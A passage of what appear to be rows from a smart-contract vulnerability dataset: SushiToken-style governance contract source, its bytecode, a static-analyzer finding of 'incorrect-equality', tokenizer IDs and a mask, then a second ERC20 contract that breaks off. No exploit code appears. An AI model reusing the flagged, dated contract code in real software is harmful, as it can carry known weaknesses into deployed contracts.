= keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "SUSHI::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "SUSHI::delegateBySig: invalid nonce"); require(now <= expiry, "SUSHI::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "SUSHI::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "SUSHI::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461086e578063e7a324dc146108e6578063f1127ed814610904578063f2fde38b1461097957610173565b8063a9059cbb14610739578063b4b5ea571461079d578063c3cda520146107f557610173565b8063715018a61461055a578063782d6fe1146105645780637ecebe00146105c65780638da5cb5b1461061e57806395d89b4114610652578063a457c2d7146106d557610173565b80633950935111610130578063395093511461034057806340c10f19146103a4578063587cde1e146103f25780635c19a95c146104605780636fcfff45146104a457806370a082311461050257610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806320606b701461027d57806323b872dd1461029b578063313ce5671461031f575b600080fd5b6101806109bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5f565b60405180821515815260200191505060405180910390f35b610267610a7d565b6040518082815260200191505060405180910390f35b610285610a87565b6040518082815260200191505060405180910390f35b610307600480360360608110156102b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aab565b60405180821515815260200191505060405180910390f35b610327610b84565b604051808260ff16815260200191505060405180910390f35b61038c6004803603604081101561035657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b6103f0600480360360408110156103ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c4e565b005b6104346004803603602081101561040857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d91565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a26004803603602081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfa565b005b6104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e07565b604051808263ffffffff16815260200191505060405180910390f35b6105446004803603602081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2a565b6040518082815260200191505060405180910390f35b610562610e72565b005b6105b06004803603604081101561057a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffd565b6040518082815260200191505060405180910390f35b610608600480360360208110156105dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113be565b6040518082815260200191505060405180910390f35b6106266113d6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61065a611400565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069a57808201518184015260208101905061067f565b50505050905090810190601f1680156106c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610721600480360360408110156106eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114a2565b60405180821515815260200191505060405180910390f35b6107856004803603604081101561074f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156f565b60405180821515815260200191505060405180910390f35b6107df600480360360208110156107b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158d565b6040518082815260200191505060405180910390f35b61086c600480360360c081101561080b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611663565b005b6108d06004803603604081101561088457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c7565b6040518082815260200191505060405180910390f35b6108ee611a4e565b6040518082815260200191505060405180910390f35b6109566004803603604081101561091a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050611a72565b604051808363ffffffff1681526020018281526020019250505060405180910390f35b6109bb6004803603602081101561098f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab3565b005b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b5050505050905090565b6000610a73610a6c611cc3565b8484611ccb565b6001905092915050565b6000600254905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000610ab8848484611ec2565b610b7984610ac4611cc3565b610b7485604051806060016040528060288152602001612d8160289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b2a611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121839092919063ffffffff16565b611ccb565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610c44610ba8611cc3565b84610c3f8560016000610bb9611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224390919063ffffffff16565b611ccb565b6001905092915050565b610c56611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d2282826122cb565b610d8d6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612492565b5050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610e04338261272f565b50565b60086020528060005260406000206000915054906101000a900463ffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e7a611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000438210611057576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612d596028913960400191505060405180910390fd5b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1614156110c45760009150506113b8565b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116111ae57600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101549150506113b8565b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561122f5760009150506113b8565b6000806001830390505b8163ffffffff168163ffffffff161115611352576000600283830363ffffffff168161126157fe5b048203905061126e612c4b565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff16141561132a578060200151955050505050506113b8565b86816000015163ffffffff1610156113445781935061134b565b6001820392505b5050611239565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60096020528060005260406000206000915090505481565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114985780601f1061146d57610100808354040283529160200191611498565b820191906000526020600020905b81548152906001019060200180831161147b57829003601f168201915b5050505050905090565b60006115656114af611cc3565b8461156085604051806060016040528060258152602001612e3c60259139600160006114d9611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121839092919063ffffffff16565b611ccb565b6001905092915050565b600061158361157c611cc3565b8484611ec2565b6001905092915050565b600080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116115f757600061165b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86661168e6109bd565b8051906020012061169d6128a0565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611821573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612dcc6027913960400191505060405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611958576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612da96023913960400191505060405180910390fd5b874211156119b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612c8f6027913960400191505060405180910390fd5b6119bb818b61272f565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6007602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611abb611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612cb66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e186024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612cdc6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612df36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612c6c6023913960400191505060405180910390fd5b611fd98383836128ad565b61204481604051806060016040528060268152602001612cfe602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121839092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120d7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121f55780820151818401526020810190506121da565b50505050905090810190601f1680156122225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156122c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561236e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61237a600083836128ad565b61238f8160025461224390919063ffffffff16565b6002819055506123e6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156124ce5750600081115b1561272a57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146125fe576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125715760006125d5565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b905060006125ec84836128b290919063ffffffff16565b90506125fa868484846128fc565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612729576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161269c576000612700565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000612717848361224390919063ffffffff16565b9050612725858484846128fc565b5050505b5b505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061279e84610e2a565b905082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461289a828483612492565b50505050565b6000804690508091505090565b505050565b60006128f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612183565b905092915050565b600061292043604051806060016040528060358152602001612d2460359139612b90565b905060008463ffffffff161180156129b557508063ffffffff16600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612a265781600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060010181905550612b33565b60405180604001604052808263ffffffff16815260200183815250600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff1602179055506020820151816001015590505060018401600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051808381526020018281526020019250505060405180910390a25050505050565b600064010000000083108290612c41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c06578082015181840152602081019050612beb565b50505050905090810190601f168015612c335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160008152509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737353555348493a3a64656c656761746542795369673a207369676e617475726520657870697265644f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636553555348493a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747353555348493a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636553555348493a3a64656c656761746542795369673a20696e76616c6964206e6f6e636553555348493a3a64656c656761746542795369673a20696e76616c6964207369676e617475726545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e0b5b28f04b830ab2d8eb985e909e115cec43e6f6f0cf20bd3d85ac81666afda64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2683, 2581, 2546, 2475, 2278, 27814, 2278, 2546, 2509, 2497, 2094, 2620, 2063, 2581, 2063, 2692, 2050, 2692, 2575, 4402, 2063, 2620, 19481, 2278, 23352, 2683, 2549, 2546, 2620, 2549, 7011, 2063, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,514
0x96e989771ad78ed32803590048974f897ca77bf6
pragma solidity >=0.4.22 <0.6.0; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract INUP{ // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { 